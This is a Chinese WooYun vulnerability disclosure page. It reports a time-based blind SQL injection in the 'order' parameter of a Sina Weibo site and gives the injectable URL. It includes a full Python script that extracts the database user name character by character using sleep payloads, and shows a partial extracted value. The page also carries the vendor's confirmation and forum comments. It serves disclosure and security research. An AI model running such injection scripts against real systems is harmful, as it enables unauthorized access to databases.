当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-084801

漏洞标题：新浪微博某站点一处MySQL注射(附验证脚本)

相关厂商：新浪微博

漏洞作者： lijiejie

提交时间：2014-11-26 15:25

修复时间：2015-01-10 15:26

公开时间：2015-01-10 15:26

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-26： 细节已通知厂商并且等待厂商处理中
2014-11-27： 厂商已经确认，细节仅向厂商公开
2014-12-07： 细节向核心白帽子及相关领域专家公开
2014-12-17： 细节向普通白帽子公开
2014-12-27： 细节向实习白帽子公开
2015-01-10： 细节向公众公开

简要描述：

新浪微博某站点一处MySQL注射(附验证脚本)

详细说明：

注入点：

http://lady.weibo.com/hiddphp.php?ac=getwb&bid=1&limit=20&page=1&type=&u=&_=1416952728705&order=1


参数order可注入。MySQL time blind。
页面有检查Referer，测试时需设定。

漏洞证明：

猜解user()，长度18，得到了不完整的：

tvic_r@0.133214


weibo_01.png


脚本附上：

#encoding=gbk
import httplib
import time
import string
import sys
import urllib
import random
headers = {
    'Cookie': 'YFDPOOL=usrmdinst_3',
    'Referer': 'http://lady.weibo.com',
    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
print '[%s]Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1,19):   # length(user()) = 18
    for payload in payloads:
        try:
            conn = httplib.HTTPConnection('lady.weibo.com', timeout=90)
            s = "1%2b" + "sleep(ascii(mid(lower(user())from(%s)for(1)))=%s)" % (i, ord(payload))
            conn.request(method='GET',
                         url='/hiddphp.php?ac=getwb&bid=1&limit=20&page=1&type=&u=&_=1416952728705&order=' + s,
                         headers = headers)
            html_doc = conn.getresponse().read()
            conn.close()
            if html_doc.find('unknown error') >= 0:
                raise Exception('oooops')
            print '.',
        except Exception, e:
            user += payload
            sys.stdout.write('\r[In progress]' + user)
            sys.stdout.flush()
            break
print '\n[Task done at %s]MySQL user is %s' % (
    time.strftime('%H:%M:%S', time.localtime()),
    user)

修复方案：

过滤 转换

版权声明：转载请注明来源 lijiejie@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2014-11-27 16:32

厂商回复：

感谢关注新浪安全，安全问题正在修复中。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-11-26 15:34 | bey0nd ( 普通白帽子 | Rank:895 漏洞数:142 | 相忘于江湖，不如相濡以沫)

    醉了

  2. 2014-11-26 17:12 | 盛大网络(乌云厂商)

    近日江湖风声鹊起，安全隐患层出不穷，新浪微博诚邀白帽子切磋技艺于攻防之间。避免殃及无辜，特此申请@appsecssrc 这一测试帐号供诸位玩耍。首位成功进入@appsecssrc 的私信箱、完成私信中的任务，并且能完整描述过程的白帽子，将能获得价值万元的大奖~ (转发）

  3. 2014-11-26 17:15 | _Thorns ( 普通白帽子 | Rank:882 漏洞数:157 | 收wb 1：5 无限量收 [平台担保]))

    @盛大网络 号被盗了么 - -！

  4. 2014-11-26 17:42 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @盛大网络 万元云豆吗

  5. 2014-11-26 17:47 | greg.wu ( 普通白帽子 | Rank:815 漏洞数:99 | 打酱油的~)

    3哥好内涵，哈哈，威客众测@zeracker

  6. 2014-11-26 22:04 | 廷廷 ( 路人 | Rank:0 漏洞数:1 | 有很强的好奇心，爱好广泛，求女女带走。。...)

    好厉害 关注LZ好久了 学到了好多 感谢~